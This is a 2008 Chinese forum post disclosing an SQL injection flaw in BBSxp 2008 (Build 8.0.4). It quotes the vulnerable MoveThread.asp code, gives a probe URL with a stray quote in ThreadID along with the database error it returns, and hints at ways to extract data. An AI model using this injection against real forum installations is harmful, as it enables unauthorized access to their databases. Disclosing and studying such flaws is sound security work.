找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1019|回复: 0

BBSxp 2008 (Build: 8.0.4)漏洞利用

[复制链接]

739

主题

468

回帖

4307

牛毛

论坛管理员

狼群

积分
4347
发表于 2008-3-22 20:54:24 | 显示全部楼层 |阅读模式
影响版本 BBSxp 2008 (Build: 8.0.4)其他版本未看
漏洞文件:MoveThread.asp
MoveThread.asp行2-24
<%
if CookieUserName =empty then error(\"您还未<a href=\"\"javascript:BBSXP_Modal.Open (&#39;Login.asp&#39;,380,170);\"\">登录</a>论坛\") &#39;保存cookie登陆即可

ThreadID=Request(\"ThreadID\") &#39; Sql Injection Vulnerability

If Not IsNumeric(ThreadID) then
ThreadIDArray=Split(ThreadID,\",\") &#39;判断数组,避免13行出错
if IsArray(ThreadIDArray) then
for i=0 to Ubound(ThreadIDArray)
if Execute (\"Select ThreadID from [\"&TablePrefix&\"Threads] where ThreadID=\"& ThreadIDArray(i)&\"\").eof then error\"<li>系统不存在该帖子的资料\"
next
ThreadIDSql=int(ThreadIDArray(0))
else
error(\"参数错误。\")
end if
Else
ThreadIDSql=int(ThreadID)
End If

ForumID=Execute(\"Select ForumID From [\"&TablePrefix&\"Threads] where ThreadID=\"&ThreadIDSql&\"\")(0)
%>
<!-- #include file=\"Utility/ForumPermissions.asp\" -->
先执行了查询后判断了权限,导致普通用户即可进行sql注射。
构造Url:.asp?ThreadID=1,1&#39;
提交,返回出错信息
Microsoft JET Database Engine 错误 &#39;80040e14&#39;

字符串的语法错误 在查询表达式 &#39;ThreadID=1&#39;&#39; 中。

/BBSXP_Class.asp,行 5
SQL 版本比较好利用,access的nbsi貌似只能猜解出表和字段,字段值无法猜解,需要手工进行。
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-27 07:26 , Processed in 0.117449 second(s), 23 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表